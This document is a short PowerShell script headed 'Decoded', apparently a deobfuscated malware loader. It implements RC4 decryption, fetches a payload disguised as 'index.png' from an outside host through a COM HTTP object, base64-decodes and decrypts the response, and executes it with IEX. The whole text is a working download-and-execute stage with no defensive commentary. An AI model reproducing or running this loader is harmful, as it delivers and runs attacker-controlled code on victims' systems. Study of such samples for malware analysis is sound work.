Decoded

function rc4{
    param([byte[]] $data, [byte[]]$key)
    [Byte[]]$buf = New-Object Byte[] $data.Length
    $data.CopyTo($buf, 0)
    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;
    for($i=0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length]
    }
    $j = 0;
    for($i=0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp;
    }
    $i=0; $j=0;
    for($x=0; $x -lt $buf.Length; $x++)
    {
        $i = ($i+1) % 256;
        $j = ($j+$s[$i]) % 256;
        $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp;
        [int]$t = ($s[$i]+$s[$j]) %256;
        $buf[$x] = $buf[$x] -bxor $s[$t];
    }
    return $buf
}
function Decrypt{
    Param([Byte[]]$data_in)
    if($data_in.Length -le 16)
    {
        return $false;
    }
    $data_out = (rc4 $data_in[16..$data_in.Length] $data_in[0..15])
    return $data_out
}

$url = "https://n-trip.com/index.png?$(Get-Random)"
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", $url, $False); $o.Send();
$data_arr = [Convert]::FromBase64String($o.responseText)
$data_b = Decrypt($data_arr)
$data_str = [System.Text.Encoding]::ASCII.GetString($data_b)
IEX $data_str;